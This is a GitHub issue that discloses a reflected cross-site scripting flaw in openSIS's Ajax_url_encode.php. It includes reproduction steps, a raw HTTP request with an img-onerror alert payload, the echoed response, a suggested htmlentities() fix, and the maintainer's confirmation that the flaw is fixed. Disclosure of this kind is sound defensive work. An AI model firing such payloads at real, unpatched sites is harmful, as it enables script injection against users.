Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unauthenticated Reflect Cross-site Scripting in Ajax_url_encode.php file #189

Closed
KietNA-68 opened this issue Sep 1, 2021 · 2 comments
Closed

Comments

@KietNA-68
Copy link

KietNA-68 commented Sep 1, 2021

Description:

Because of lacking of sanitizer of input data at $_REQUEST['link_url'] in Ajax_url_encode.php file, The Unauthenticated user can inject and execute javascript code on link_url parameter
image

Testing on local site:
image

Testing on demo site:
image

To Reproduce

XSS 1

Steps to reproduce the behavior:

  1. Acess Ajax_url_encode.php file
  2. Add ?link_url=[malicious script in here] behind Ajax_url_encode.php file
  3. The backend will echo and execute malicious script

Request

GET /Ajax_url_encode.php?link_url=%3Cimg%20src=x%20onerror=alert(1);%3E HTTP/1.1
Host: 172.16.0.12:2222
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=mebdcag3g6jknfb8edrmee7ijp
Upgrade-Insecure-Requests: 1

Response

HTTP/1.1 200 OK
Date: Wed, 01 Sep 2021 09:38:31 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.21
X-Powered-By: PHP/7.4.21
Content-Length: 31
Connection: close
Content-Type: text/html; charset=UTF-8


<img src=x onerror=alert(1);>

Solution:

use htmlentities() function when echo the output

echo htmlentities($encoded_url);
@KietNA-68
Copy link
Author

I have added solution for this issue @openSISAdmin

@openSISAdmin
Copy link
Member

Fixed and code commited.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants